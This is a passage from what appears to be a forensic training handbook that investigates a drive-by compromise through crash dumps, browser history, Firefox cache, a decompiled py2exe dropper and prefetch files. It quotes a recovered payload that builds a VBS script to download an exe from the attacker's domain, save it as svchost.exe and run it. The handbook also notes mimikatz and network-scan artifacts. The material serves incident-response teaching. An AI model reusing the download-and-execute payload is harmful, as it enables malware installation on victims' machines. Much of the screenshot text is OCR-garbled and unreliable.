Check in Autopsy timestamps of both crash dump files (.dmp and .extra) from pending subdirectory:

\$FILE_NAME Attribute Values:
Flags: Archive
Name: c0c4cf93-35ed-4718-adba-d547e4264f3f.extra
Parent MFT Entry: 662 Sequence: 37
Allocated Size: 4096 Actual Size: 1380
Created: 2016-08-16 13:03:16.871458500 (GMT)
File Modified: 2016-08-16 13:03:16.872488200 (GMT)
MFT Modified: 2016-08-16 13:03:16.871458500 (GMT)
Accessed: 2016-08-16 13:03:16.871458500 (GMT)

Open the .extra file in a text editor:





Start BrowserHistoryView tool (~/training/tools/BrowsingHistoryView/BrowsingHistoryView.exe) using Wine. In the *Advanced Options* window, options should be set as shown in the screenshot below.

| Advanced Options | | × | | | | | |
|---|---|---|--|--|--|--|--|
| Filter by visit date/time: | Load history items from any time |] | | | | | |
| From: 26/08/2016 | ▼ 14.07.50 🛨 To: 02/09/2016 ▼ 14.07.50 🛖 | | | | | | |
| Load only URLs contain one of the specified strings (comma-delimited list): | | | | | | | |
| , Don't load URLs that contain one of the specified strings (comma-delimited list): | | | | | | | |
| J | | | | | | | |
| Internet Explorer | Chrome 🔽 Firefox | | | | | | |
| Internet Explorer 1 | 0/11 + Edge 🔽 Chrome Canary 🔽 SeaMonkey | | | | | | |
| 🔽 Safari | 🔽 Opera 🔽 Yandex | | | | | | |
| Load bistory from. | | | | | | | |
| Load history from the s | pecified custom folders | | | | | | |
| | | | | | | | |
| | | | | | | | |
| History: | | | | | | | |
| App Data: | Z:\mnt\part_c\Users\Peter\AppData\Roaming | | | | | | |
| Local App Data: | Z:\mnt\part_c\Users\Peter\AppData\Local | | | | | | |
| | | | | | | | |
| \square Load Internet Explorer history by using API. | | | | | | | |
| Skip duplicate URLs the | at their time difference is less than 5 seconds | | | | | | |
| | OK Cancel | | | | | | |

After clicking OK, the history of visited pages should appear. If the list is empty, make sure all options in the Advanced Window were set correctly (Options -> Advanced Options).

Next it's worthwhile to set the time zone to GMT and sort list elements by the *Visit Time* column. Due to a Wine bug, you might need to scroll down and up list to refresh it to make the changes take effect.



| BrowsingHistoryView | | | | | | | | |
|--------------------------------|---|----|---------------------|-------------|--|--|--|--|
| <u>File E</u> dit <u>V</u> iew | Options Help | | | | | | | |
| 🖃 🖬 😫 👘 | Save File Encoding | • | | | | | | |
| | Show Time In GMT | | | [| | | | |
| URL 🛆 | M. Show Advanced Options On Star | F. | Visit Time | Visit Count | | | | |
| 🖉 about: blank | Show Advanced Options On Star | | .6/08/2016 14.58.03 | 5 | | | | |
| 🖉 about: blank | Advanced Options | F9 | 4/07/2016 15.32.53 | 1 | | | | |
| 🖉 about:start | | | 14/07/2016 16.30.09 | 1 | | | | |
| <i>(E</i> about:start | | | 14/07/2016 16.30.09 | 4 | | | | |
| Øfile:///C:/Users | /Peter/D | | 26/07/2016 10.36.26 | 1 | | | | |
| Cefile:///C:/Users/Peter/D | | | 11/08/2016 15.54.32 | 2 | | | | |
| Gefile:///C:/Users/Peter/D | | | 11/08/2016 15.53.29 | 3 | | | | |
| @file:///C:/Users | /Peter/D | | 11/08/2016 15.53.26 | 3 | | | | |

Scroll down to the date of the incident, 16/08/2016, and analyse websites visited by the user.

| BrowsingHistoryView | | | | | | | |
|---|----------------------|---------|-------------------------|--|--|--|--|
| Eile Edit View Options Help | | | | | | | |
| | | | | | | | |
| URL | Visit Time 🔺 | Visit C | Visited From | | | | |
| https://www.reddit.com/r/funny/comments/4x5vxv/somebody_at_oreo_headqu | 11/08/2016 14.09.39 | 1 | | | | | |
| Http://reddit.com/ | 16/08/2016 12.56.05 | 4 | | | | | |
| https://reddit.com/ | 16/08/2016 12.56.05 | 3 | http://reddit.com/ | | | | |
| https://www.reddit.com/ | 16/08/2016 12.56.06 | 7 | https://reddit.com/ | | | | |
| <pre>//apps.skype.com/adcontrol/prelogic.html</pre> | 16/08/2016 12.57.53 | 4 | | | | | |
| A https://m.hotmail.com/ | 16/08/2016 12.57.55 | 3 | | | | | |
| <pre>//static.skypeassets.com/adserver/AdLoader-v2.html?version=1.68.47</pre> | 16/08/2016 12.57.59 | 3 | | | | | |
| 🖉 about : blank | 16/08/2016 12.58.03 | 5 | | | | | |
| <pre>//cdn.at.atwola.com/_media/uac/msn.html</pre> | 16/08/2016 12.58.05 | 3 | | | | | |
| https://www.reddit.com/r/aww/comments/4xwxsc/its_picture_day/ | 16/08/2016 12.58.50 | 1 | https://www.reddit.com/ | | | | |
| Http://reddit.com/ | 16/08/2016 13.02.18 | 4 | | | | | |
| Https://reddit.com/ | 16/08/2016 13.02.18 | 3 | http://reddit.com/ | | | | |
| https://www.reddit.com/ | 16/08/2016 13.02.20 | 7 | https://reddit.com/ | | | | |
| Optimized the second | 16/08/2016 13.02.46 | 1 | | | | | |
| | | | | | | | |
| | | | | | | | |
| 175 item(s), 1 Selected Hir Soft Freeware. ht | tp://www.nirsoft.net | | | | | | |

Mozilla Firefox cache files are located at

Users\Peter\AppData\Local\Mozilla\Firefox\Profiles\<profname>\cache2:

| 🗖 enisa@training: /mnt/part_c/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0l7z3kd.default/cache2 | - • × |
|---|-------|
| File Edit View Search Terminal Help | |
| enisa@training:/mnt/part_c/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0l7z3kd.default/cache2\$ | ls -l |
| total 2788 | |
| drwxrwxrwx l root root 16384 ago 16 15:03 doomad | |
| drwxrwxrwx 1 root root 2621440 ago 16 15:03 entries | |
| -rwxrwxrwx l root root 208708 ago 16 15:03 index | |
| -rwxrwxrwx l root root 6736 ago 16 15:03 index.log | |
| <mark>enisa@training:/m</mark> nt/part_c/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0l7z3kd.default/cache2\$ | |

To view Firefox cache use MZCacheView². MZCacheView is located at ~/training/tools/MozillaCacheView/ MozillaCacheView.exe and should be started using Wine.

² <u>http://www.nirsoft.net/utils/mozilla_cache_viewer.html</u>



| MZCacheView | MZCacheView: | | | | | | | | | |
|---|--------------|-----|-----------------------------------|-----------|------|--|--|--|--|--|
| <u>Eile E</u> dit <u>V</u> iew <u>O</u> p | otions Help | | | | | | | | | |
| | | | | | | | | | | |
| Filename 🛆 | Content Type | URL | | File Size | Fetc | | | | | |
| Ope | n cache | | | | k | | | | | |
| 0 item(s) | | | NirSoft Freeware. http://www.nirs | soft.net | | | | | | |

In the next window, specify the path to the cache2 folder:

| Select Cache Folder | | | | | | |
|---|--|--|--|--|--|--|
| Z:\mnt\part_c\Users\Peter\AppData\Local\Mozilla\Firefox\Profiles\z017z3kd.default\cache2 Remember this folder in the next time that you use MZCacheView | | | | | | |
| Load only cache files from the last 10 days Load only cache files in the following time range: (In GMT) From: 01/09/2016 + 15.54.56 + To: 02/09/2016 + 15.54.56 + To: | | | | | | |
| Load only files larger than | | | | | | |
| Load only files smaller than 1000000 Bytes | | | | | | |
| OK Cancel | | | | | | |

After clicking OK, MZCacheView will load data from the cache files. This operation might take a short time. After the data is fully loaded, change dates to GMT time zone (the same as in Browsing History View tool) and sort content by Last Modified date.

Scrolling down to the date of the incident, shortly after visiting the blog.mycompany.ex website, multiple other files were downloaded from another domain, blog.mysportclub.ex:



| Eile Edit View Options Help | | |
|---|-----------|-----------------------|
| 🗠 📽 🗙 🔽 🔽 🕼 🕼 🕼 🖆 😭 🖏 📲 | | |
| URL | File Size | Last Modified 🛛 🔺 |
| http://blog.mycompany.ex/wp-content/themes/scrollme/js/custom.js?ver=20120206 | 2.206 | 16/08/2016 13.02.49 |
| http://blog.mycompany.ex/wp-content/themes/scrollme/js/jquery.bxslider.js?ver=20120206 | 14.248 | 16/08/2016 13.02.49 |
| http://blog.mycompany.ex/wp-content/themes/scrollme/js/nivolightbox/nivo-lightbox.js?ver=20120206 | 3.072 | 16/08/2016 13.02.49 |
| http://blog.mycompany.ex/wp-content/themes/scrollme/images/loading.gif | 6.174 | 16/08/2016 13.02.49 |
| http://blog.mycompany.ex/wp-content/themes/scrollme/js/mcustomscrollbar/jquery.mCustomScrollbar.js?ver= | 21.798 | 16/08/2016 13.02.50 |
| http://cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.13/jquery.mousewheel.min.js?_=1471352567903 | 1.243 | 16/08/2016 13.02.50 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php | 558 | 16/08/2016 13.02.50 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/360a296ea1e0abb38f1080f5e802fb4b.html | 1.577 | 16/08/2016 13.02.51 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/49c58cc2b166b1a5b13eab5f472a4f7b.html | 1.596 | 16/08/2016 13.02.51 |
| http://blog.mycompany.ex/wp-content/uploads/2016/07/hammer.jpg | 74.544 | 16/08/2016 13.02.51 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/3930b19ce86a4a5545c8deb0c94990b5.html | 1.573 | 16/08/2016 13.02.51 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/053d33558d578d2cafe77639209ab4d9.html | 1.594 | 16/08/2016 13.02.51 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1493f0e60aca5bcc753405d96c739bb4.html | 1.565 | 16/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/8bf9cbe72d9f798dd4c61c9668f84e29.html | 1.566 | 16/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1ff1a5eb5ffe455641a17704db7e0a55.html | 5.011 | 16/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/d11a10ea60a2b8c01e7a2b620723471a.html | 1.646 | 16/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/11415c18e1eaa55947fc1aecfdac349d.html | 105 | 16/08/2016 13.02.53 💌 |
| | | F |
| 5181 item(s), 1 Selected (0.54 KB) Hir Soft Freeware. http://www.nirsoft.net | | |

Export cache files to separate directory for further analysis and to keep evidence data in one place.

To export cache data, select all entries related to blog.mysportclub.ex domain. Then right click on selected items and choose *"Copy Selected Cache Files To..."*.

| http://blog.mycompany.ex/wp-content/themes/scrollme/js/mcustomscrollbar/jquery.mCustomScrollbar.js?ver= 2 | | | 16/08/2016 13.02.50 |
|---|------------------------------|---------------------|-----------------------------------|
| http://cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.13/jquery.mousewheel.min.js?_=1471352567903 | | | 16/08/2016 13.02.50 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php | | | 16/08/2016 13.02.50 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/360a296ea1e0abb38f1080f5e802fb4b.html | | | 16/08/2016 13.02.51 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/49c58cc2b166b1a5b13eab5f472a4f7b.html | | | 16/08/2016 13.02.51 |
| http://blog.mycompany.ex/wp-content/uploads/2016/07/hammer.jpg | 74.544 | 16/08/2016 13.02.51 | |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/3930b19ce86a4a554 | 1.573 | 16/08/2016 13.02.51 | |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/053d33558d578g2- | | 1 504 | |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1493f0e60aca5b | Copy Selected Cache Files To | F4 | 6/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/8bf9cbe72d9f79 | Open Link In Web Browser | F6 | 6/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1ff1a5eb5ffe455 | Copy URLs | Ctrl+U | 6/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/d11a10ea60a2b8 | Open Selected Cache File | F7 | 6/08/2016 13.02.52 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/11415c18e1eaa5 | Save Selected Items | Ctrl+S | 6/08/2016 13.02.53 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1533805c930c57 | Copy Selected Items | Ctrl+C | 6/08/2016 13.02.53 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/test/8500d58389eba3b | | | 6/08/2016 13.02.53 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/bc9168a823a10c | Choose Columns | | 6/08/2016 13.02.53 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/f775413f33f2caa | <u>Auto Size Columns</u> | Ctrl+Plus | 6/08/2016 13.02.53 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/045423c0415da1 | Properties | Alt+Enter | 6/08/2016 13.02.58 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/8500d58389eba3 | | | - <mark>6/08/2016 13.02.58</mark> |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/images/money-sr | Refresh | F5 | 6/08/2016 13.02.58 |
| http://blog.mysportclub.ex/favicon.ico | 294 | 16/08/2016 13.02.58 | |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/poc2.flv | | | 16/08/2016 13.03.04 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/053d33558d578d2cafe77639209ab4d9.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/1493f0e60aca5bcc753405d96c739bb4.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/360a296ea1e0abb38f1080f5e802fb4b.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/49c58cc2b166b1a5b13eab5f472a4f7b.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/8bf9cbe72d9f798dd4c61c9668f84e29.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/3930b19ce86a4a5545c8deb0c94990b5.html | | | 16/08/2016 13.03.17 |
| http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/d11a10ea60a2b8c0 | 1e7a2b620723471a.html | 5.138 | 16/08/2016 13.03.17 |
| http://blog.mycompany.ex/wp-content/uploads/2016/07/brick-building.jpg | | | 16/08/2016 13.03.17 |

In the next window, specify an output directory (if this directory doesn't exist it should be created first!).



| Copy Selected Files To |
|---|
| |
| Z:\home\enisa\training\ex1\ff_cache\blog.mysportclub.ex |
| Copy as new name if filename already exists |
| Save the files in the directory structure of the Web site |
| \square Update the modified time of the copied files according to modified time in the Web server |
| OK Cancel |

The same should be repeated for blog.mycompany.ex domain (changing only the output directory).

Perform an analysis of the exported cache files. A good starting point would be an analysis of the index file of the blog.mycompany.ex website:



After opening it in a text editor, notice strange script at line 153:



Now switching to the analysis of cache files from blog.mysportclub.ex, open /wpcontent/uploads/hk/task/opspy/index.php file (previously saved to blog.mysportclub.ex as index.php.htm).



| enisa@training: ~/training/ex1/ff_cache/blog.mysportclub.ex | _ = × |
|---|-----------|
| File Edit View Search Terminal Help | |
| <pre><script src="//assets/js/jquery-1.9.1.js"></script><iframe src="http://blog.mysportclub.ex/wp-content/uplo </pre></td><td>bads/hk/t</td></tr><tr><td>ask/opspy/<mark>360a296eale0abb38f1080f5e802fb4b.html"><pre>src='http://blog.mysportclub.ex/wp-content/u</pre></iframe></pre> | uploads/h |
| k/task/opspy/49 <mark>c58cc2b166b1a5b13eab5f472a4f7b.html'><iframe< mark=""> src='http://blog.mysportclub.ex/wp-conter</iframe<></mark> | nt/upload |
| s/hk/task/opspy/053d33558d578d2cafe77639209ab4d9.html'> <iframe src="http://blog.mysportclub.ex/wp-com</td><td>itent∕upl</td></tr><tr><td> oads/hk/task/opspy/8bf9cbe72d9f798dd4c61c9668f84e29.html"></iframe> <iframe src="http://blog.mysportclub.ex/wp·</td><td><pre>.content/</pre></td></tr><tr><td>uploads/hk/task/opspy/1493f0e60aca5bcc753405d96c739bb4.html"></iframe> <iframe src="http://blog.mysportclub.ex,</td><td>/wp-conte</td></tr><tr><td>nt/uploads/hk/task/opspy/3930b19ce86a4a5545c8deb0c94990b5.html"></iframe> <iframe src="http://blog.mysportclub.</td><td>.ex/wp-co</td></tr><tr><td>ntent/uploads/hk/task/opspy/dllal0ea60a2b8c0le7a2b62072347la.html"></iframe> <script></script> | |

Try to search for svchost.exe occurrences in cache files.



Open the first file found. Additionally to make viewing easier it's good to replace all 'n' phrases with actual characters of new line.



Scroll down to the middle of the file where *cmd* variable is defined.



| anice @tenining: u/tenining/av1/ff cache/blog mycanstelub av | |
|--|----------------------|
| enisa@training: ~/training/ex.i/m_tathe/otog.mysportctub.ex | الكلك |
| File Edit View Search Terminal Help | |
| <pre>var windows = (ua.indexOf(\"Windows\")>-1);</pre> | |
| <pre>var cmd = ({\"cmd\":\"cmd.exe /c \\\"@echo Set objXMLHTTP=CreateObject(\\\"MSXML2.XMLHTTP\ >%tmp%\\\\exp.vbs&@echo objXMLHTTP.open \\\"GET\\\",\\\"http://blog.mysportclub.ex/wp-content/uplo hk/5128f35c9b4be13788ba41bdb6d1fc1f/3568226350.exe\\\".false>%tmp%\\\\exp.vbs&@echo objXMLHTTP.se</pre> | \\") ads/ nd() |
| >>%tmp%\\\\exp.vbs&@echo If objXMLHTTP.Status=200 Then>>%tmp%\\\\exp.vbs&@echo Set objADOStream=Cr | eate |
| Object(\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ | trea хмгн |
| TTP.ResponseBody>>%tmp%\//\exp.vbs&@echo objADOStream.Position=1 >>%tmp%\//\exp.vbs&@echo objADOSt | ream |
| .SaveToFile \\\"%tmp%\\\\svchost.exe\\\",2 >>%tmp%\\\\exp.vbs&@echo objADOStream.Close>>%tmp%\\\\e | xp.v |
| bs&@echo Set objADOStream=nothing>>%tmp%\\\\exp.vbs&@echo End if>>%tmp%\\\\exp.vbs&@echo Set objXM | LHTT |
| P=nothing>>%tmp%\\\\exp.vbs&@echo Set objShell=CreateObject(\\\"WScript.Shell\\\")>>%tmp%\\\\exp.vb | os&@ |
| ecno objSnell.Exec(\\\"%tmp%\\\\svcnost.exe\\\")>>%tmp%\\\\exp.vbs&cscript.exe \%tmp%\\\\exp.vbs\\ }) end: | Λ" \" |
| if (true && windows) { | |

5.5 Decompiling Python executable

Filesystem analysis revealed that at 13:10:03 UTC suspicious executable 54948tp.exe was created at %TEMP% path.

| enisa@training: /mnt/part_c/Users/Peter/AppData/Local/Temp |
|---|
| File Edit View Search Terminal Help |
| enisa@training:~\$ cd /mnt/part_c/Users/Peter/AppData/Local/Temp/ |
| enisa@training:/mnt/part_c/Users/Peter/AppData/Local/Temp\$ file 54948tp.exe |
| 54948tp.exe: PE32 executable (console) Intel 80386, for MS Windows |
| enisa@training:/mnt/part_c/Users/Peter/AppData/Local/Temp\$ strings 54948tp.exe egrep '(python27.dll py2exe)' |
| python27.dll |
| c:\Python27\lib\site-packages\ py2exe \boot_common.pyR |
| c:\Python27\lib\site-packages\ py2exe \boot_common.pyt |
| c:\Python27\lib\site-packages\ py2exe \boot_common.pyt |
| enisa@training:/mnt/part_c/Users/Peter/AppData/Local/Temp\$ |
| |
| |

Extract from executable .pyc files using unpy2exe³ script. Two .pyc files should be extracted.



Next using uncompyle6⁴ tool try decompiling the bytecode in .pyc files to the original python code.

³ <u>https://github.com/matiasb/unpy2exe</u>



| 🗖 enisa@training: ~/training/tools/unpy2exe 🏪 | _ = × |
|--|-------|
| File Edit View Search Terminal Help | |
| <pre>enisa@training:~/training/tools/unpy2exe\$ uncompyle6 -o out2 -r out1/ decompiled 2 files: 0 okay, 0 failed # decompiled 2 files: 0 okay, 0 failed enisa@training:~/training/tools/unpy2exe\$ ls out2/ c:\Python27\lib\site-packages\py2exe\boot_common.py.pyc_dis tp.py.pyc_dis enisa@training:~/training/tools/unpy2exe\$</pre> | |
| | / |

Inspect the code found in tp.py.pyc_dis file.



Find *get_toolz* function in the code:



Find and inspect main function.

⁴ <u>https://pypi.python.org/pypi/uncompyle6/</u>





Next, check in Autopsy referenced %TMP%/SystemProfile directory.

| Current Directory: <u>C:/ /Users/ /Peter/ /AppData/ /Local/</u> / <u>Temp/</u> /SystemProfile/ | | | | | | | |
|---|--------------------------------|---------------------|---------------------------|---------------------------|---------------------------|---------------------------|--|
| ADD NOTE GENERATE MD5 LIST OF FILES | | | | | | | |
| DEL | Type <u>dir</u> / <u>in</u> | | WRITTEN | Accessed | Changed | CREATED | |
| | d/d | <u>/</u> | 2016-08-16 15:10:35 (GMT) | 2016-08-16 15:10:35 (GMT) | 2016-08-16 15:10:35 (GMT) | 2016-07-14 14:26:50 (GMT) | |
| | d / d | <u>./</u> | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:14:47 (GMT) | |
| | r/r | bpd.log | 2016-08-16 13:14:50 (GMT) | 2016-08-16 13:14:50 (GMT) | 2016-08-16 13:14:50 (GMT) | 2016-08-16 13:14:50 (GMT) | |
| | r/r | <u>mimikatz.log</u> | 2016-08-16 13:14:50 (GMT) | 2016-08-16 13:14:48 (GMT) | 2016-08-16 13:14:50 (GMT) | 2016-08-16 13:14:48 (GMT) | |
| | d / d | <u>netscan/</u> | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:52:21 (GMT) | |
| | r/r | <u>sysinfo.txt</u> | 2016-08-16 13:34:59 (GMT) | 2016-08-16 13:34:25 (GMT) | 2016-08-16 13:34:59 (GMT) | 2016-08-16 13:34:25 (GMT) | |

Inspect sysinfo.txt file.

| 🗖 enisa@training: /mnt/part_c/Users/Peter/AppData/Local/Temp/SystemProfile | _ = × |
|---|----------|
| File Edit View Search Terminal Help | |
| Ethernet adapter Ethernet: | |
| Connection-specific DNS Suffix . : Description : Intel(R) PRO/1000 MT Desktop Adapter Physical Address : 08-00-27-FF-D4-3F DHCP Enabled : No Autoconfiguration Enabled : Yes Link-local IPv6 Address : fe80::28b6:9b1e:817d:11e5%6(Preferred) IPv4 Address : 192.168.5.100(Preferred) Subnet Mask : 255.255.255.0 Default Gateway : 5085975 DHCPv6 Client DUID : 00-01-00-01-1F-19-57-54-08-00-27-FF-D4- DNS Servers : 192.168.5.10 NetBIOS over Tcpip : Enabled | ЗF |
| 8 | 2,0-1 4% |



Check SystemProfile/netscan/ directory.

| Current Directory: <u>C://Users//Peter//AppData//Local/</u> /Temp//SystemProfile//netscan/ | | | | | | |
|---|--------------------------------|-------------------------|---------------------------|---------------------------|---------------------------|---------------------------|
| ADD | NOTE | GENERATE | MD5 LIST OF FILES | | | |
| | | | | | | |
| DEL | Type <u>dir</u> / <u>in</u> | | WRITTEN | ACCESSED | CHANGED | CREATED |
| | d / d | <u>/</u> | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:52:21 (GMT) | 2016-08-16 13:14:47 (GMT) |
| | d / d | <u>./</u> | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:52:21 (GMT) |
| | r/r | <u>192.168.5.1.xml</u> | 2016-08-16 13:59:34 (GMT) | 2016-08-16 13:59:29 (GMT) | 2016-08-16 13:59:34 (GMT) | 2016-08-16 13:59:29 (GMT) |
| | r/r | <u>192.168.5.10.xml</u> | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:34 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:34 (GMT) |
| | r/r | <u>192.168.5.15.xml</u> | 2016-08-16 13:59:49 (GMT) | 2016-08-16 13:59:36 (GMT) | 2016-08-16 13:59:49 (GMT) | 2016-08-16 13:59:36 (GMT) |

Check contents of the .xml files found in netscan/ directory.



5.6 Prefetch analysis

To parse Windows 10 prefetch files use 505Forensics script⁵. Script can be found at ~/training/tools/win10_prefetch/. Run this script and save its output to prefetch.csv file. Then open prefetch.csv file in LibreOffice Calc.

| -/training/tools/win10_prefetch | × |
|--|---|
| Search Terminal Help | |
| <pre>~/training/tools/win10_prefetch\$ python2 w10pf_parse.py -d /mnt/part_c/Windows/Prefetch/ > prefetch.csv ~/training/tools/win10_prefetch\$ libreoffice5.0 prefetch.csv</pre> | |

LibreOffice should correctly propose separating values by commas. In the Text Import window just click Ok.

⁵ <u>http://www.505forensics.com/windows-10-prefetch/</u>



| Text Import - [pr | efetch.csv] | | | _ = × |
|-----------------------|--|---------------|----------------------------|---------------|
| Import | | | | |
| Character set: | Unicode (UTF-8) | | ^ | |
| - | · · · · · · · · · · · · · · · · · · · | | | |
| <u>L</u> anguage: | Default - English (USA) | | ÷ | |
| From ro <u>w</u> : | 1 | | | |
| Separator Options | 1 | | | |
| O <u>F</u> ixed width | | 🖲 <u>S</u> ep | arated by | |
| <u> T</u> ab | 🗹 <u>C</u> omma 🛛 🗹 S <u>e</u> mi | colon 🗌 | S <u>p</u> ace O | the <u>r</u> |
| 🗌 Merge <u>d</u> e | limiters | | Te <u>x</u> t d | elimiter: " 🔻 |
| Other Options | | | | |
| Q uoted fiel | d as text | Del | tect special <u>n</u> umbe | ers |
| | | | | |
| Fields | | | | |
| Column type: | ▲ | | | |
| Standard | | Standard | Standard | Standard 🚖 |
| 1 Executable | e Name | Run Count | Prefetch Hash | Last Run Time |
| 2 WMIADAP.EX | (E | 11 | F8DFDFA2 | 2016-08-16 12 |
| 3 SCRIPT-FU. | EXE | 1 | C4341751 | 2016-07-15 18 |
| 4 LOGONUI.EX | (E | 4 | 9140401 | 2016-07-26 08 |
| 5 NGENTASK.E | EXE | 15 | BB7F7010 | 2016-08-16 15 |
| 6 NETSTAT.EX | (E | 1 | 5A5A908F | 2016-08-16 13 |
| 7 HELPER.EXE | | 1 | A9FC12DB | 2016-08-03 12 |
| 8 SKYPE.EXE | | 1 | 58F6AD17 | 2016-08-03 11 |
| (4(|) | | |)•) |
| Help | | | <u>0</u> K | Cancel |

Select all data cells and from Data menu choose sort. Then choose column D (Last Run Time 0) for primary sort key (Sort Key 1).

| | A | | | | | | | | | |
|----|-----------------|-------------------------|---------------------|---------------------|---------------------|---------------------|---------------------|---------------------|---------------------|---------------------|
| 1 | Executable Name | Run Count Prefetch Hash | Last Run Time 0 | Last Run Time 1 | Last Run Time 2 | Last Run Time 3 | Last Run Time 4 | Last Run Time 5 | Last Run Time 6 | Last Run Time 7 |
| 2 | WMIADAP.EX E | 11 F8DFDFA2 | 2016-08-16 12:58:38 | 2016-08-11 11:13:43 | 2016-08-03 11:43:09 | 2016-08-01 07:38:37 | 2016-07-27 11:47:05 | 2016-07-26 08:21:22 | 2016-07-19 10:35:52 | 2016-07-15 17:46:54 |
| 3 | SCRIPT-FU.EXE | 1 C4341751 | 2016-07-15 18:01:34 | N/A |
| -4 | LOGONUI.EXE | 4 9140401 | 2016-07-26 08:07:56 | 2016-07-15 16:12:22 | 2016-07-14 14:26:57 | 2016-07-14 14:24:07 | N/A | N/A | N/A | N/A |
| 5 | NGENTASK.EXE | 15 BB7F7010 | 2016-08-16 15:09:46 | 2016-08-16 15:06:55 | 2016-08-16 15:00:56 | 2016-08-16 15:00:57 | 2016-08-16 13:22:13 | 2016-08-11 13:28:07 | 2016-08-11 13:25:25 | 2016-08-01 09:48:47 |
| 6 | NETSTAT.EXE | 1 5A5A908F | 2016-08-16 13:34:50 | N/A |
| 7 | HELPER.EXE | 1 A9FC12DB | 2016-08-03 12:01:32 | N/A |
| 8 | SKYPE.EXE | 1 58F6AD17 | 2016-08-03 11:52:11 | N/A |
| 9 | WINDOWS-KB89083 | 1 4C40BE8A | 2016-08-16 13:05:57 | N/A |
| 10 | INSTALLAGENT.EX | 29 2CA93386 | 2016-08-16 14:13:45 | 2016-08-16 13:00:34 | 2016-08-11 13:28:11 | 2016-08-11 11:14:51 | 2016-08-03 11:54:27 | 2016-08-03 11:44:17 | 2016-08-01 08:46:33 | 2016-08-01 07:37:41 |
| 11 | DSMUSERTASK.EX | 2 35CC97B6 | 2016-07-14 13:34:50 | 2016-07-14 13:34:44 | N/A | N/A | N/A | N/A | N/A | N/A |
| 12 | CONTROL.EXE | 5 817F8F1D | 2016-08-16 12:57:23 | 2016-07-26 08:28:01 | 2016-07-15 17:12:03 | 2016-07-15 17:04:29 | 2016-07-14 13:36:53 | N/A | N/A | N/A |
| 13 | OPENWITH.EXE | 2 5C93E816 | 2016-08-11 13:54:06 | 2016-07-15 17:49:06 | N/A | N/A | N/A | N/A | N/A | N/A |
| 14 | CONSENT.EXE | 18 531BD9EA | 2016-08-16 13:50:29 | 2016-08-16 13:03:02 | 2016-08-16 12:58:49 | 2016-08-03 11:57:54 | 2016-07-26 08:33:38 | 2016-07-15 17:53:31 | 2016-07-15 17:48:22 | 2016-07-15 17:12:06 |
| 15 | SEARCHINDEX ER. | 6 4A6353B9 | 2016-08-16 12:55:40 | 2016-08-03 11:39:21 | 2016-07-19 10:33:03 | 2016-07-15 17:43:09 | 2016-07-15 17:34:11 | 2016-07-15 17:01:40 | N/A | N/A |
| 16 | SIHOST.EXE | 2 2C4C53BA | 2016-08-16 12:55:36 | 2016-07-14 14:24:10 | N/A | N/A | N/A | N/A | N/A | N/A |
| 17 | RDSPNF.EX E | 1 B55F4711 | 2016-07-15 17:01:44 | N/A |
